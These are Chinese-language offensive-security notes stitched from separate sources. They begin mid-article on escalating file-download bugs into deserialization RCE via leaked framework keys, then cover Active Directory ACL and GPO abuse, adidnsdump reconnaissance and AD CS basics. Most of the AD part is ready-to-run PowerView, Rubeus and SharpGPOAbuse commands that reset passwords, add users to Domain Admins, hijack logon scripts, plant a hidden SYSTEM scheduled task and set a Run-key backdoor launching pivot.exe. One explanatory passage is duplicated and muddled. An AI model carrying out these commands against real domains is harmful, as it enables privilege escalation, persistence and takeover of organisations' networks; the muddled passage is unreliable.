QQ截图20231225111145.png0x04 深度利用在上面的方式中,還是偏向於通過任意文件下載下載網站源代碼進行源碼分析,但是在某些框架中,可以通過源碼下載漏洞構造反序列化利用鏈,達到RCE的效果。

CodeIgniter框架是一個非常流行的php框架,在中小WEB應用中具有較大的使用量。舊版本的CodeIgniter默認情況下CodeIgniter的session保存在Cookie中,並且通過反序列的方式來加載。

我下載的CodeIgniter的源碼是以前下載的,可能和最新的代碼稍有出入。在system/libraries/Session.php文件中,如圖4.1所示。

QQ截图20231225111249.png

其中保證Cookie不被篡改的關鍵是通過hash_hmac方法計算Cookie最後40位的hash值,其中$this-encryption_key是CodeIngniter框架配置文件中的值,保存在application/config/config.php文件中,這個值沒有默認值,並且不能為空,如圖4.2所示。

QQ截图20231225111316.png

如果存在任意文件下載漏洞,下載對應的application/config/config.php文件,則可以獲取Cookie加密的key,這樣就可以把任意文件下載漏洞轉化為反序列化漏洞。

在CodeIgniter框架中,如果Cookie中包含了序列化的內容,如圖4.3所示,則代表可以通過任意文件讀取獲取加密key來構造反序列化過程,結合框架本身的反序列化利用鏈,則可能造成反序列化漏洞。

QQ截图20231225111349.png基於框架的Cookie反序列化漏洞在實際中非常普遍,其它還有很多框架也有類似的問題,Yii框架也有類似於CodeIgniter一樣的邏輯,在之前一篇關於通達OA的反序列化漏洞的文章https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw中,介紹過關於Yii硬編碼key導致的反序列化漏洞。同樣如果存在任意文件下載漏洞,則可以讀取對應的key構造反序列化利用鏈。

如果是aspx的目標網站,同樣可以通過任意文件下載,獲取Web.config中關於ViewState參數的加密密鑰,ViewState參數經過解密之後會進行反序列化操作,造成.net的反序列化漏洞,詳情可以參考文章

https://paper.seebug.org/1386/。0x05 總結在滲透測試的過程中,如果遇到任意文件下載漏洞,多數場景下都可以對任意文件下載漏洞進行深入利用。本文主要結合一些特定的目標場景,總結一些關於任意文件下載漏洞的利用思路,本文僅做學習研究,請勿進行非法的網絡攻擊活動。

來源:烽火台實驗室

滥用活动目录ACLs\ACEs权限

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是对它们的详细解释:

  1. DACL(Discretionary Access Control List):DACL是一种访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。DACL是以访问控制条目(ACE)的形式组成的列表。
  2. ACE(Access Control Entry):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问权限。每个ACE定义了一个安全主体(如用户、组、计算机等)以及该安全主体所具有的权限。

在DACL中,每个ACE包含以下信息:

  • 安全主体(SID):标识被授权或被拒绝访问权限的用户、组或计算机的唯一标识符。
  • 访问权限:表示特定操作或权限(如读取、写入、执行等)。
  • 访问掩码:指定了实际授予或拒绝的权限。
  • 辅助访问掩码:在某些情况下,用于指定其他条件或限制。

当访问对象时,系统将根据DACL中的ACE进行验证。如果存在与用户身份匹配的ACE,并且该ACE授予了所请求的权限,访问将被允许。如果没有匹配的ACE,或者存在与用户身份匹配的ACE,但是该ACE拒绝了所请求的权限,访问将被拒绝。

域管理员的ACE如下

4btyj4sfy0k11772.png

其中,我们关注的权限为如下几条

  • GenericAll - full rights to the object (add users to a group or reset user's password)
  • GenericWrite - update object's attributes (i.e logon script)
  • WriteOwner - change object owner to attacker controlled user take over the object
  • WriteDACL - modify object's ACEs and give attacker full control right over the object
  • AllExtendedRights - ability to add user to a group or reset password
  • ForceChangePassword - ability to change user's password
  • Self (Self-Membership) - ability to add yourself to a group
  • GenericAll - 对对象拥有完全权限(例如添加用户到组或重置用户密码) 。
  • GenericWrite - 更新对象的属性(例如登录脚本) 。
  • WriteOwner - 修改对象的所有者为攻击者控制的用户,接管该对象 。
  • WriteDACL - 修改对象的ACEs,并授予攻击者对该对象的全部控制权限 。
  • AllExtendedRights - 能够添加用户到组或重置密码 。
  • ForceChangePassword - 能够更改用户的密码 。
  • Self(Self-Membership)- 能够将自己添加到组中。
  • Self-Membership - 这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象),也就是说,某个对象在某个组中是Self-Membership身份。
GenericAll
对用户账户的GenericAll权限

使用PowerView工具,查看用户的GenericAll权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

//获取用户man1的AD对象的访问控制列表(ACL),筛选返回具有"GenericAll"权限的项

Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

可以看到spotless用户拥有对delegate的GenericAll权限,那么在已获得spotless用户权限的情况下,我们可以接管delegate用户。

wqeuuparewy11775.png

  1. **更改密码:**直接修改delegate用户的密码即可。

net user <username><password> /domain

  1. **Kerberoasting攻击:**给delegate用户设置SPN,然后通过spotless用户的TGT来请求所有服务的ST,获取到delegate用户的HASH加密的ST,进行破解。

# Set SPN

Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}

# Get Hash

.\Rubeus.exe kerberoast /user:<username> /nowrap

# Clean SPN

Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

https://github.com/ShutdownRepo/targetedKerberoast

python3 targetedKerberoast.py -domain.local -u <username> -p password -v

  1. **ASREProast攻击:**可以通过禁用预身份验证来使用户ASREPRoastable ,然后对其进行 ASREProast攻击。

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

对用户组的GenericAll权限

//获取到domain admins组的distinguishedName值

Get-NetGroup "domain admins"

x4cvvqnkmg211783.png

//获取Domain Admins组的ACL

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq " CN=Domain Admins,CN=Users,DC=vvvv1,DC=com"}

nvllwh11ceu11799.png

发现spotless用户拥有对Domain Admins组的GenericAll权限,可以进行攻击。

将自己(用户spotless)或其他用户添加到Domain Admin组中。

net group "domain admins" spotless /add /domain

也可以使用 Active Directory 或 PowerSploit 模块进行攻击。

# with active directory module

Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit

Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

对机器账户或服务账户的GenericAll权限
  1. 如果对机器账户或服务账户具有GenericAll权限或者GenericWrite权限,可以考虑使用基于资源的约束委派攻击,详情见《内网横向移动-基于资源的约束委派》;
  2. 对于服务账户也可以考虑上文中的对用户账户的攻击方法;
  3. 或者使用Shadow Credentials进行攻击;

影子凭证

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

WriteProperty
对用户组的WriteProperty权限

我们的受控用户对domain admins组有WriteProperty权限。

qjgtoagrjow11802.png

可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

Self (Self-Membership)
对用户组的Self (Self-Membership)权限

我们的受控用户对domain admins组有Self (Self-Membership)的权限。

fqx45lnemd411806.png

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

WriteProperty (Self-Membership)
对用户组的WriteProperty (Self-Membership)权限

我们的受控用户对domain admins组有WriteProperty (Self-Membership)的权限。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

irgainsrzzw11811.png

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

net group "domain admins" spotless /add /domain

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

ForceChangePassword
对用户账户的ForceChangePassword权限

如果我们的所控账户在目标账户的ACL中为"User-Force-Change-Password"对象类型,且具有"ExtendedRight"权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

wq44qvpnh1311814.png

使用工具PowerView修改密码。

Set-DomainUserPassword -Identity delegate -Verbose

mnpn2irsfik11819.png

或者使用如下语句

$c = Get-Credential

Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

或者总结成单行语句

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

vv5hh2kybut11824.png

WriteOwner
对用户组的WriteOwner权限

在进行攻击之前,域管理员组Domain Admins的所有者是Domain Admins。

3scc04f10lj11828.png

在对某个组的ACE进行枚举之后,如果我们发现一个受我们控制的用户spotless具有"WriteOwner"权限并且该权限适用于"ObjectType:All",那么就可以修改该组的所有者。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

ralxc4ef4j111832.png

我们可以将"Domain Admins"对象的所有者更改为我们的用户,这在我们的情况下是"spotless"。需要注意的是,使用"-Identity"指定的SID是"Domain Admins"组的SID。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose

//You can also use the name instad of the SID (HTB: Reel)

Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "spotless"

GenericWrite

GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。

对用户账户的GenericWrite权限

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

所控用户spotless对另一个用户delegate拥有"WriteProperty"权限,且该权限适用于"Script-Path"对象类型。它允许攻击者覆盖delegate用户的登录脚本路径,这意味着下一次当delegate用户登录时,他们的系统将执行我们恶意的脚本。

5u5huloa1j211836.png

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

可以看到delegate用户的登录脚本字段在AD中被更新。

d4o1p2541us11838.png

对用户组的GenericWrite权限

允许您将新用户(例如您自己)添加为组的成员。与上文中《GenericAll-对用户组的GenericAll权限》操作类似。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

# Create creds

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)

# Add user to group

Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose

# Check user was added

Get-DomainGroupMember -Identity "Group Name" | Select MemberName

# Remove group member

Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

如果有一个组为test,你是该组的所有者。

xmt4urostll11855.png

或者使用PowerShell。

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

2ipgtaviius11865.png

您可以使用ADSI(Active Directory Service Interfaces)为自己赋予GenericAll权限。

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"

$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])

$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"

$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)

$ADSI.psbase.commitchanges()

这样意味着您现在完全控制该组。

0kj4ecurxti11872.png

这实际上意味着您现在可以将新用户添加到该组中。

但是,好像无法使用Active Directory模块和Set-Acl / Get-Acl cmdlets来赋予权限。

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"

$acl = Get-Acl -Path $path

$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"

$acl.AddAccessRule($ace)

Set-Acl -Path $path -AclObject $acl

xe0mw2eejy411880.png

组策略配置(GPO)

GPO是Group Policy Object(组策略对象)的缩写。它是Windows操作系统中的一种管理机制,用于集中管理和配置计算机和用户的操作系统设置。GPO允许系统管理员通过集中的策略定义和管理组织内计算机和用户的行为。

GPO主要用于:

  1. 配置操作系统设置:可以使用GPO来配置计算机和用户的各种操作系统设置,如安全设置、网络设置、注册表项、文件和文件夹权限等。
  2. 分发软件安装:可以使用GPO将软件应用程序自动安装在用户或计算机上,从而简化软件部署和更新过程。
  3. 实施安全策略:可以使用GPO来强制实施安全策略,例如密码策略、帐户锁定策略、防火墙设置等,以增强系统的安全性。
  4. 管理用户配置:可以使用GPO来管理用户配置,例如映射网络驱动器、配置桌面设置、限制软件使用等。

GPO是通过在Active Directory域环境中创建和链接到特定OU(组织单位)来实现的。管理员可以使用Group Policy Management Console(GPMC)工具来创建、编辑和管理GPO,并将其链接到特定的OU,以便将策略应用于特定的组织单位、用户组或计算机组。

有时候,特定的用户或组可能被授权管理组策略对象,就像"WP"用户一样。

qzhrujxxen011898.png

也可以通过PowerView来进行查看。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "VVVV1\WP"}

以下内容显示用户 "OFFENSE\spotless" 具有 WriteProperty、WriteDacl、WriteOwner 等权限,这些权限可能被攻击者利用。

y4y5yz2w03011901.png

枚举域内所有的GPO。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-DomainGPO

gxrx1shtmkt11908.png

如果我们想要专门搜索配置错误的 GPO,我们可以像下面这样串联多个来自 PowerSploit 的 cmdlet。

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

jjkxcvxreqb11911.png

给定策略查询对应计算机

Get-NetOU -GUID "{C9F46A61-773B-41A7-8AB0-5C65866D13EC}" | % {Get-NetComputer -ADSpath $_}

yeji3hgisqz11915.png

给定计算机查询其策略

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

zkaof0nrunn11918.png

给定策略查询对应的OU

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

vnyhwyuc4jx11921.png

利用GPO权限进行攻击
  1. 滥用这种错误配置并进行代码执行的一种方式是通过组策略创建即时计划任务

利用三好学生的PowerShell脚本New-GPOImmediateTask.ps1进行攻击

https://github.com/3gstudent/Homework-of-Powershell/tree/master

由于脚本需要使用到PowerShell中的GroupPolicy模块,因此需要在服务管理器中安装远程服务器管理工具(RSAT)。

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators man1 /add" -GPODisplayName "newGPO" -Verbose

h2ke4un021q11924.png

上述操作将用户"spotless"添加到受损系统的本地管理员组。请注意,在执行代码之前,本地管理员组不包含用户"spotless"。

net localgroup administrators

zhdyujp2a4w11927.png

如果我们观察Misconfigured Policy的GPO的计划任务,我们可以看到我们的恶意任务(evilTask)在那里。

xyltvznszau11929.png

以下是由New-GPOImmediateTask创建的XML文件,它代表了我们在GPO中的恶意计划任务。

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
  <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
    <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
      <Task version="1.3">
        <RegistrationInfo>
          <Author>NT AUTHORITY\System</Author>
          <Description></Description>
        </RegistrationInfo>
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>
            <RunLevel>HighestAvailable</RunLevel>
            <LogonType>S4U</LogonType>
          </Principal>
        </Principals>
        <Settings>
          <IdleSettings>
            <Duration>PT10M</Duration>
            <WaitTimeout>PT1H</WaitTimeout>
            <StopOnIdleEnd>true</StopOnIdleEnd>
            <RestartOnIdle>false</RestartOnIdle>
          </IdleSettings>
          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
          <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
          <AllowHardTerminate>false</AllowHardTerminate>
          <StartWhenAvailable>true</StartWhenAvailable>
          <AllowStartOnDemand>false</AllowStartOnDemand>
          <Enabled>true</Enabled>
          <Hidden>true</Hidden>
          <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
          <Priority>7</Priority>
          <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
          <RestartOnFailure>
            <Interval>PT15M</Interval>
            <Count>3</Count>
          </RestartOnFailure>
        </Settings>
        <Actions Context="Author">
          <Exec>
            <Command>cmd</Command>
            <Arguments>/c net localgroup administrators spotless /add</Arguments>
          </Exec>
        </Actions>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
            <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
            <Enabled>true</Enabled>
          </TimeTrigger>
        </Triggers>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>

通过滥用GPO(组策略)的用户和组功能,可以实现相同的权限提升。

请注意,在下面的文件中,第6行将用户"spotless"添加到本地管理员组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于GPO委派分配给了我们的用户"spotless"。

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

另外,我们还可以考虑利用登录/注销脚本、使用注册表进行自动运行、安装.msi文件、编辑服务以及类似的代码执行途径。

  1. GroupPolicy 模块

可以使用命令"Get-Module -List -Name GroupPolicy | select -expand ExportedCommands"来检查是否安装了GroupPolicy模块。如果需要,你可以使用命令"Install-WindowsFeature –Name GPMC"作为本地管理员安装它。

创建新的组策略对象(GPO)并将其与OU(组织单位)"Workstations"关联。

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"

让位于"Workstations" OU内的计算机创建一个新的注册表键,该键将执行一个后门程序。

在共享文件夹中搜索一个既可以写入又可以被所有受影响的计算机读取的位置。

Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

  • -Name "Evil GPO": 指定了要操作的组策略对象的名称为"Evil GPO"。
  • -Context Computer: 指定了操作的上下文为计算机级别的首选项。
  • -Action Create: 指定了创建注册表值。
  • -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run": 指定了注册表键的路径为"HKLM\Software\Microsoft\Windows\CurrentVersion\Run",即在计算机启动时执行的自动运行程序列表。
  • -ValueName "Updater": 指定了注册表值的名称为"Updater",这将是用于后门执行的程序的标识。
  • -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe": 指定了注册表值的数据,即要执行的后门程序的命令行。
  • -Type ExpandString: 指定了注册表值的类型为ExpandString,以便正确解释并扩展其中的环境变量。
  1. SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

使用工具SharpGPOAbuse进行攻击。但是该工具无法创建GPO,因此我们仍然必须使用RSAT创建GPO或修改我们已经具有写访问权限的GPO。

SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

强制策略更新

之前的恶意GPO更新大约每90分钟重新加载一次。如果您可以访问计算机,您可以使用命令来强制刷新GPO。

gpupdate /force

End

For GPO attacks,I think it have some ways to delve deeper.

These are several articles that can be used for learning.

  • https://xz.aliyun.com/t/7289#toc-0
  • https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
  • https://wald0.com/?p=112
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
  • https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
  • https://adsecurity.org/?p=3658
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_

AD DNS Records

默认情况下,Active Directory中的任何用户都可以枚举域或林DNS区域中的所有DNS记录,类似于区域传输(用户可以在AD环境中列出DNS区域的子对象)。

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

使用工具adidnsdump可以枚举和导出区域中的所有 DNS 记录,以用于内部网络的侦察目的。

git clone https://github.com/dirkjanm/adidnsdump

cd adidnsdump

pip install.

adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

cat records.csv

m2yegftmj3011933.png

在LDAP中查询DNS记录最直接的方式是执行选择所有类别为dnsNode的对象的查询,这些对象代表DNS区域中的条目。但是,当我使用过滤器**(objectClass=dnsNode)**进行查询时,返回的结果非常有限,即使我手动浏览到DNS区域时可以看到更多的记录。

tqo0gmudqc311935.png

如上图所示,对于几个对象,objectClass是不可见的。这是因为计算机DNS记录的默认权限(我认为其他不通过AD DNS GUI创建的记录也是如此)不允许所有用户查看内容。由于IP地址实际上是作为此对象的属性存储的,因此无法查看这些记录的IP地址。

但是,就像任何用户默认情况下都可以创建新的DNS记录一样,默认情况下任何用户也可以列出DNS区域的子对象。因此,我们知道记录存在,只是无法使用LDAP进行查询。

dvjytcqfjyl11938.png

一旦我们通过LDAP枚举确定记录存在,我们可以直接使用DNS进行查询(因为执行常规的DNS查询不需要特权)。通过这种方式,我们可以解析区域中的所有记录。

使用adidnsdump可以列举DNS区域中的所有记录。

要开始操作,请先使用--print-zones选项显示当前所在域中的区域。这将显示存在哪些区域。并非所有的区域都是有趣的,例如正向、缓存和存根区域并不包含该域的所有记录。如果找到了这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认的区域。

adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --print-zones

0qurmgdu3iw11940.png
如果我们在工具中指定区域(或者对于默认区域将其留空),我们将获得所有记录的列表。可以列出但无法读取的记录(称为“隐藏”记录)将显示为问号,因为目前不知道存在哪种类型的记录以及它指向何处。所有记录都保存在名为records.csv的文件中。

yps5lk0z02r11943.png

要解析未知记录,请指定-r标志,这将为所有未知记录执行A查询(如果您在IPv6网络中,可以在代码中轻松更改为AAAA)。现在许多以前为空的节点突然有了记录。

如果您没有直接连接,而是通过代理进行工作,您可以通过socks代理将工具代理,并使用**--dns-tcp**标志通过TCP执行DNS查询。

adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --dns-tcp

4t5czh55yy511946.png

AD Certificates

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://zhuanlan.zhihu.com/p/402961562

https://blog.csdn.net/heisejiuhuche/article/details/129224570

https://cloud.tencent.com/developer/article/2013603

https://zhuanlan.zhihu.com/p/383587237

https://cloud.tencent.com/developer/article/1937718

https://www.cnblogs.com/mtgold/p/15665575.html

AD Certificates,指的是Active Directory 证书服务。首先我们要了解什么是 Active Directory 证书服务(Active Directory Certificate Service - 以下简称 AD CS)。证书服务,用官方的解释说,是微软的 PKI 系统的实现,早些时候,多用于 Active Directory 内智能卡(smart card)的登录鉴权。发展到现在,已经成为了 AD 环境中各个主体的另外一种鉴权方式(如 Windows Hello For Business)。

这里的证书,指的是 X.509 格式的电子文档,可以被用于加密,信息签名,以及鉴权。在域环境中,这张证书就是将一个主体与其 Public/Private 密钥对绑定。那么,域控就可以使用这个主体的密钥,来决定是否给这个主体分发 TGT。

证书相较于现有的 AD 权限维持或者提权的方式,如增加管理员用户,修改用户密码,黄金、白银票据等,有更加隐秘,更加持久的优势。更加隐秘是因为证书利用相对于其他敏感操作,相对难以被探测和发现(不触及 LSASS 等);更加持久是因为证书的默认过期时间是 5 年,而且不会随着主体密码的改变而失效。

证书的组成部分

  • 主题(Subject)- 证书的所有者。
  • 公钥(Public Key)- 将主题与单独存储的私钥关联起来。
  • NotBefore 和 NotAfter 日期 - 定义证书的有效期限。
  • 序列号(Serial Number)- 由证书颁发机构(CA)分配的证书标识符。
  • 颁发者(Issuer)- 标识谁颁发了证书(通常是一个CA)。
  • SubjectAlternativeName - 定义主题可能使用的一个或多个替代名称。
  • 基本约束(Basic Constraints)- 识别证书是CA还是终端实体,并在使用证书时是否存在任何限制。
  • 扩展密钥用途(EKUs)- 对象标识符(OIDs),用于描述证书的使用方式。也称为 Microsoft 术语中的 Enhanced Key Usage。常见的 EKU OIDs 包括:
  • 代码签名(OID 1.3.6.1.5.5.7.3.3)- 证书用于对可执行代码进行签名。
  • 加密文件系统(OID 1.3.6.1.4.1.311.10.3.4)- 证书用于加密文件系统。
  • 安全电子邮件(1.3.6.1.5.5.7.3.4)- 证书用于加密电子邮件。
  • 客户端身份验证(OID 1.3.6.1.5.5.7.3.2)- 证书用于对另一个服务器进行身份验证(例如,对 Active Directory 进行身份验证)。
  • 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)- 证书用于智能卡身份验证。
  • 服务器身份验证(OID 1.3.6.1.5.5.7.3.1)- 证书用于识别服务器(例如,HTTPS 证书)。
  • 签名算法(Signature Algorithm)- 指定用于签署证书的算法。
  • 签名(Signature)- 使用颁发者(例如CA)的私钥对证书体进行签名。

ADCS概念

  • PKI (Public Key Infrastructure) - PKI 是一整套证书签发、管理的系统。主要包括 CA(Certificate Authority),RA(Registration Authority),Certificate Store,and Certificate database
  • Certificate Store - Windows 本地证书存储,请求到的证书将存储在 Certificate Store 中
  • AD CS(Active Directory Certificate Service)- 微软为 AD 环境打造的 PKI 系统,来管理域内的证书签发和鉴权
  • CA(Certificate Authority)- 签发证书的服务
  • Enterprise CA - 与域集成的 CA 系统(通常会被配置在域中单独的服务器上),包含证书签发、证书模板等服务
  • CSR(Certificate Signing Request)- 向 CA 系统发送的证书签发的请求
  • EKU(Extended/Enhanced Key Usage)- Object Identifiers(OIDs),规定了签发证书的用途(是用来加密文件,或者主体鉴权等)
  • SAN(Subject Alternative Name)- 可以为一张证书绑定多个身份信息;比如 HTTPS 证书中就可以绑定多个域名,而不需要为每个域名都单独申请一张证书
  • UPN(User Principal Name)- 域中的证书是与 UPN 绑定的(这张证书是张三的,用于张三同学的鉴权),同时鉴权的主体也是是通过 UPN 来确定的;如果黑客控制了 SAN,在特定情况下,也就能 impersonate 任意用户
  • Principal - 域中的主体,可以是用户,也可以是服务
  • Certificate Template - 证书模板;Enterprise CA 签发的证书都是根据模板来生成;模板包含这张证书的元信息,如签发规则,谁有权限使用这个模板,证书的有效期,证书主体是谁,证书主体如何定义等等;Enterprise CA 会根据这些元信息来决定是否可以签发证书,以及签发什么样的证书

